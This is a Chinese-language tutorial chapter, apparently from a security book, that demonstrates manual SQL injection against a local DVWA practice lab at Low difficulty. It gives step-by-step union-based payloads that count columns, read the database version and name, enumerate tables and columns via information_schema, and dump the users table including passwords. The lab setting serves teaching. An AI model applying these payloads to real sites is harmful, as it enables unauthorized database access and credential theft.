《11招玩轉網絡安全》之第四招:low級別的DVWA SQL註入
以DVWA為例,進行手工註入,幫助讀者了解註入原理和過程。
1、啟動docker,並在終端中執行命令:
docker ps -a
docker start LocalDVWA
docker ps
執行結果如圖4-19所示。
圖4-19 啟動DVWA
2、在瀏覽器地址欄輸入127.0.0.1後回車,瀏覽器打開了DVWA頁面(DVWA在前面的章節中已建立完畢)。先點擊左側欄的DVWA Security,將難度調整至Low級別。單擊左側欄的SQL Injection,進入SQL註入頁面,如圖4-20所示。
圖4-20 DVWA SQL註入
3、按照提示在文本框中填入用戶ID(這裏填入1),單擊Submit按鈕,執行結果如圖4-21 所示。
圖4-21 DVWA返回數據
4、返回了兩個字段First name和Sumame。先看一下服務器對用戶提交的數據User ID是如何處理的。單擊頁面右下角的View Source按鈕,如圖4-22所示。
圖4-22 Low級別SQL註入代碼
從圖中可以看出服務器對用戶輸入的數據id未做任何處理,直接用於SQL語句了。手工註入首先要確定頁面到底使用了數據庫中多少個字段。再確定各個字段的位置。最後在字段的位置構建SQL語句,進行註入。
5、先確定使用的字段數目,在文本框中輸入1’ order by 2#。此時服務器接受數據,$query= “SELECT first_name, last_name From Users WHERE user_id=’1’ order by 2# ”。後面的構建方法大致都是如此,相當於自行輸入一個合法的SQL語句的後半截,加入到服務器的SQL語句中去。單擊Submit按鈕,得到結果如圖4-23所示。
圖4-23 測試數據庫字段1
6、能正常返回頁面,說明至少引用了兩個字段(因為該頁面使用get方式提交數據,所以也可以在地址欄中構建SQL語句進行註入。但需要註意一下,將空格、分號轉換成ascii代碼格式)。繼續在文本框中輸入1’ order by 3#,單擊Submit按鈕,得到的結果如圖4-24所示。
圖4-24 測試數據庫字段2
7、不能返回正常頁面,說明頁面中應用的數據庫字段不超過3。結合前面一次的測試。可以得出結論,該頁面引用了數據庫中的2個字段。下一步來查看數據庫引用字段存放的位置。在文本框中輸入1’ union select 1,2#。單擊Submit按鈕。得到的結果如圖4-25所示。
圖4-25 測試字段位置
從上圖中可以看出,first name後面顯示的是第一個字段,Sumame後面顯示的是第二個字段。現在可以自行構建SQL語句,進行SQL註入。目前有2個位置可以註入,任選一個都可以,這裏選擇的是第二個位置。在文本框中輸入1’ union select 1,version()#,返回數據庫版本,如圖4-26所示。
圖4-26 返回數據庫版本
8、在文本框個輸入1’ union select database(),2#。這次選擇第一個字段位置註入,返回了數據庫名字,如圖4-27所示。
圖4-27 返回數據庫名字
9、已知數據庫名字,可以通過查詢MySQL的information_schema數據庫中的tables表,得到DVWA數據庫中的所有表。在文本框中輸入1‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema=‘dvwa‘#,返回DVWA數據庫中所有的表,如圖4-28所示。
圖4-28 返回數據庫中的表
10、上圖中可以看出,DVWA中的表有guestbook和users,這裏需要user表的內容。先獲取users表中的字段。在文本框中輸入1‘ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘user‘#,返回獲取表users中的所有字段,如圖4-29所示。
圖4-29 返回表字段
11、這裏返回了很多字段,Host,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view_priv,Show_view_priv,Create_routine_priv,Alter_routine_priv,Create_user_priv,Event_priv,Trigger_priv,Create_tablespace_priv,ssl_type,ssl_cipher,x509_issuer,x509_subject,max_questions,max_updates,max_connections,max_user_connections,plugin,authentication_string,password_expired,is_role,default_role,max_statement_time。但實際上DVWA數據庫中的表users中並沒有這麽多的字段,多出的字段是MariaDB其他數據庫中users中的字段。現在要做的是將DVWA數據庫中表users的字段分離出來。在文本框中輸入1‘ and exists(select host from users)#,測試user字段是否屬於表users。返回結果如圖4-30所示。
圖4-30 測試host字段
12、返回了錯誤信息,說明host字段並不是DVWA數據庫表users中的字段。繼續測試user字段,在文本框中輸入1‘ and exists(select user from users)#,返回結果如圖4-31所示。
圖4-31 測試user字段
13、能夠正常返回,說明user字段是DVWA數據庫表users中的字段。繼續這個一個個的測試下去。最後得到了數據庫DVWA中表users的所有字段,user_id,first_name,last_name,user,password,avatar,last_login,failed_login。
14、已知數據庫DVWA中表users的所有字段。現在可以下載表中的數據了。在文本框中輸入1‘ union select 1,group_concat(user_id, first_name, last_name, password, avatar, last_login, failed_login) from users#,返回的結果如圖4-32所示。
圖4-32 獲取表數據
如果需要處理其他的表,按照這個順序重新處理一遍就可以了。
有興趣的歡迎一起讀這本書《11招玩轉網絡安全——用Python,更安全》
《11招玩轉網絡安全》之第四招:low級別的DVWA SQL註入